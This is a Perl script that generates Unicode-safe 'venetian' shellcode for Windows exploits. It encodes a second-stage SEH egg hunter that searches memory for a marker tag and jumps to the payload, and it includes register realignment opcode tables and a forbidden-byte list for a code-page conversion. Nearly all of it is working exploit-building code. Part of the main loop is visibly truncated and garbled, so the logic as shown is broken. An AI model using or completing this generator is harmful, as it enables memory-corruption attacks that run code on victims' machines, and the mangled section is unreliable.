#!/usr/bin/perl -w # # CONFIG HERE ! # $basereg ="eax"; $writable="edi"; # Forbidden characters - this is for MultiByteToWideChar with codepage 0x4E4 @forbidden = ( 0x00, 0x80, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8E, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9E, 0x9F ); # NOTE: If none of your registers points to the beginning of the venetian # shellcode part, you have to set offset from $basereg yourself. Negative # values are not (yet) supported. $offset should be the number of bytes from # $basereg to the venetian shellcode plus a number of bytes for the venetian # part itself. Upon execution, it should point to the remaining elements of # $secondstage. A good number is probably the initial offset plus 0x400. An # offset of 0 assumes your $basereg points directly to the beginning of the # venetian shellcode. # # $offset = ; $offset = 0; # # /CONFIG # # # Set up a hash of realign opcodes # %realign = (); $realign{"eax"}="\x70"; # add byte ptr {eax},dh $realign{"ebx"}="\x73"; # add byte ptr {ebx},dh $realign{"ecx"}="\x71"; # add byte ptr {ecx},dh $realign{"edx"}="\x72"; # add byte ptr {edx},dh $realign{"ebp"}="\x6D"; # add byte ptr {ebp},ch - becomes 0x006d00 $realign{"esi"}="\x6E"; # add byte ptr {esi},ch $realign{"edi"}="\x6F"; # add byte ptr {edi},ch # # Set up a hash of 3 byte realign opcodes # %realign3 = (); $realign3{"eax"}="\x0F\xC8"; # STR AX (0x0F00C8) $realign3{"ebx"}="\x0F\xCB"; # STR BX $realign3{"ecx"}="\x0F\xC9"; # STR CX $realign3{"edx"}="\x0F\xCA"; # STR DX $realign3{"esp"}="\x0F\xCC"; # STR SP $realign3{"ebp"}="\x0F\xCD"; # STR BP $realign3{"esi"}="\x0F\xCE"; # STR SI $realign3{"edi"}="\x0F\xCF"; # STR DI # # Set up a hash of push # %oppush = (); $oppush{"eax"}="\x50"; $oppush{"ebx"}="\x53"; $oppush{"ecx"}="\x51"; $oppush{"edx"}="\x52"; $oppush{"esp"}="\x54"; $oppush{"ebp"}="\x55"; $oppush{"esi"}="\x56"; $oppush{"edi"}="\x57"; # # Set up a hash of pop # %oppop = (); $oppop{"eax"}="\x58"; $oppop{"ebx"}="\x5B"; $oppop{"ecx"}="\x59"; $oppop{"edx"}="\x5A"; $oppop{"esp"}="\x5C"; $oppop{"ebp"}="\x5D"; $oppop{"esi"}="\x5E"; $oppop{"edi"}="\x5F"; # # Set up a hash of INC opcodes # %inc = (); $inc{"eax"}="\x40"; $inc{"ebx"}="\x43"; $inc{"ecx"}="\x41"; $inc{"edx"}="\x42"; $inc{"esp"}="\x44"; $inc{"ebp"}="\x45"; $inc{"esi"}="\x46"; $inc{"edi"}="\x47"; # # Other stuff we might find usefull # $nop = "\x04"; # ADD AL,0 (0x0400) $mov_byte_ptr_EAX_val = "\xC6"; # MOV BYTE PTR {EAX}, (0xC600??) $inc_byte_ptr_EAX = "\xFE"; # INC BYTE PTR [EAX] (0xFE00) ########################################################################## # # The real stuff # ########################################################################## # # The shellcode to be extracted by the venetian part # $secondstage= "\x5B". # pop ebx (0x00000000) "\x8B\x64\x24\x18". # mov esp,[esp+0x18] (0x00000001) "\x64\x8F\x05\x00\x00\x00\x00". # pop dword [fs:0x0] (0x00000005) "\x81\xC4\x04\x00\x00\x00". # add esp,0x4 (0x0000000C) "\xE8\x00\x00\x00\x00". # call 0x17 (0x00000012) "\x5D". # pop ebp (0x00000017) "\x89\xEB". # mov ebx,ebp (0x00000018) "\x81\xC3\x4E\x00\x00\x00". # add ebx,0x4e (0x0000001A) "\x81\xEB\x17\x00\x00\x00". # sub ebx,0x17 (0x00000020) "\xBF\x00\x00\x01\x00". # mov edi,0x10000 (0x00000026) "\x60". # pusha (0x0000002B) "\x53". # push ebx (0x0000002C) "\x64\xFF\x35\x00\x00\x00\x00". # push dword [fs:0x0] (0x0000002D) "\x64\x89\x25\x00\x00\x00\x00". # mov [fs:0x0],esp (0x00000034) "\x89\xFE". # mov esi,edi (0x0000003B) "\x81\x3E\x65\x6C\x31\x74". # cmp dword [esi],0x74316c65 (0x0000003D) "\x74\x03". # jz 0x48 (0x00000043) "\x46". # inc esi (0x00000045) "\xEB\xF5". # jmp short 0x3d (0x00000046) "\x46". # inc esi (0x00000048) "\x46". # inc esi (0x00000049) "\x46". # inc esi (0x0000004A) "\x46". # inc esi (0x0000004B) "\xFF\xE6". # jmp esi (0x0000004C) "\x8B\x64\x24\x08". # mov esp,[esp+0x8] (0x0000004E) "\x64\x8F\x05\x00\x00\x00\x00". # pop dword [fs:0x0] (0x00000052) "\x81\xC4\x04\x00\x00\x00". # add esp,0x4 (0x00000059) "\x61". # popa (0x0000005F) "\x81\xC7\x00\x10\x00\x00". # add edi,0x1000 (0x00000060) "\x81\xE7\x00\xF0\xFF\xFF". # and edi,0xfffff000 (0x00000066) "\xEB\xBD". # jmp short 0x2b (0x0000006C) ""; print "[GEN] secondstage before:\n"; &printhex($secondstage); # # This place is where the generator jumps to once when it figured out how big the # generated code is going to be, so it can calculate a good offset # AgainWithOffset: die "Push operation for base register not known\n" if ( !defined($oppush{$basereg}) ); die "NOP operation for writable register not known\n" if ( !defined($realign{$writable}) ); # # Start building the code here # $code = ""; $odd = 0; # First, ensure that basereg ends up in EAX if ( $basereg ne "eax" ) { print "[GEN] Adjusting basereg to EAX\n"; $code .= $oppush{$basereg}; $code .= $realign{$writable}; $code .= $oppop{"eax"}; } # # Set up EAX # print "[GEN] Adding offset to EAX\n"; $code .= &addEAX($offset); ############# ## Main generator loop ############# $odd = 0; $secondodd=""; for ($i = 0; $i 0xFFFF); if ($val == 0) { print "[ADD] Add EAX,0 skipped\n"; return ""; } $loval = $val & 0xFF; if ( $val > 255 ) { $hival = $val >> 8; printf("[ADD] Adding %02X of %04X to EAX\n",$hival,$val); $rcode .= sprintf("\x05%c\x01", # add $hival+1); # part in AH $rcode .= $realign{$writable}; $rcode .= "\x2D". # sub "\x01". # get the 0x01 out of AH again "\x01"; # same for upper 16bit $rcode .= $realign{$writable}; } # # loval is not 0, so start adding # for ( $j = 0 ; $j < $loval; $j++) { $rcode .= $inc{"eax"}; $rcode .= $realign{$writable}; #print "[ADD] Added one and realigned\n"; } print "[ADD] Added ",$loval," increments\n"; return $rcode; } sub isforbidden { my $c; my $j; ($c) = @_; for ($j=0; $j<=$#forbidden; $j++) { if ( $c == $forbidden[$j] ) { #printf "[FORB] 0x%02X is forbidden ...\n",$c; return 1; } } return undef; } ############################################################################## # For output purposes ############################################################################## sub printunihex { my $what; my $i; ($what) = @_; for ($i = 0; $i < length($what) ; $i++ ) { printf(" %02X %02X",ord(substr($what,$i,1))); #print "\n" if ( (($i+1) % 16) == 0); } print "\n"; } sub printhex { my $what; my $i; ($what) = @_; print "\""; for ($i = 0; $i < length($what) ; $i++ ) { printf("\\x%02X",ord(substr($what,$i,1))); print "\".\n\"" if ( (($i+1) % 16) == 0); } print "\".\n"; }